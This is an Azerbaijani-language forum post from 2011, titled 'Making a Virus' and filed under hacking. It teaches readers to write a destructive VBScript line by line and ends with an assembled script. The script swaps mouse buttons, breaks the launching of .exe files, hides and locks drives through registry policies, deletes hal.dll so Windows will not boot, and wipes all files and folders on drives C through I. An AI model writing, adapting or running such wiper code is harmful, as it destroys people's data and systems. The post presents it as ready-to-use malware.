| Çat |
|
! |
 |
|
Virus Hazırlamaq
|
| 02.07.2011, 00:40 |
Getdik:
İlk öncə biz WordPad açırıq və
on error resume next
Set S = CreateObject:("Ws c r i p t.Shell":)
set FSO=createobject:("s c r i p ting.filesystemobject":)
s.run"rundll32 user32, SwapMouseButton"
Bunları yazırıq və bizim virus hazirdı.
İndi ise hər şeyi hisə-hisə başa salım.
Kod: on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject") |
Bu üç zolag mecburidi. Yəni bu üç zolag yazı virusun bədənidi deye birərik.
İndisə komandalar haqqında.
Kod: | s.run"rundll32 user32, SwapMouseButton" |
Mausun knopkalarının yerini deyişdirmə.
Kod: | s.regwrite"HKCRexefileshellopencommand","rundll32.exe" |
EXE və ya exe formatındakı fayılların açılmasına qadağa:(fayılar açılmır:).
Kod s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","67108863","REG_DWORD"
s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive","67108863","REG_DWORD" |
Kod: | fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1 |
Sistem fayilarının pozulması hansı ki,nəticəsi olaraq Windows açılmır.
Kod fso.deletefolder fso.getspecialfolder(0)+"system32drives",1
fso.deletefolder fso.getspecialfolder(0)+"Driver Cache" |
Kod: | fso.deletefolder "C:*.*",1 |
C nin yerinə D də yazmag olar.
Misal:
Kod: n error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
fso.deletefile "C:*.*",1
fso.deletefolder "C:*.*",1
fso.deletefile "D:*.*",1
fso.deletefolder "D:*.*",1
fso.deletefile "E:*.*",1
fso.deletefolder "E:*.*",1
fso.deletefile "F:*.*",1
fso.deletefolder "F:*.*",1
fso.deletefile "G:*.*",1
fso.deletefolder "G:*.*",1
fso.deletefile "H:*.*",1
fso.deletefolder "H:*.*",1
fso.deletefile "I:*.*",1
fso.deletefolder "I:*.*",1
fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1
|
|
|
Bölmələr: Xakerlik | Müəllif: shamsi_84
|
| Baxılıb: 835 | Yüklənib: 0
| Reytinq: 5.0/1 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ] |
|
| Saytda Axtar |
|
|
|
|
Şənbə, 20.04.2024, 00:22
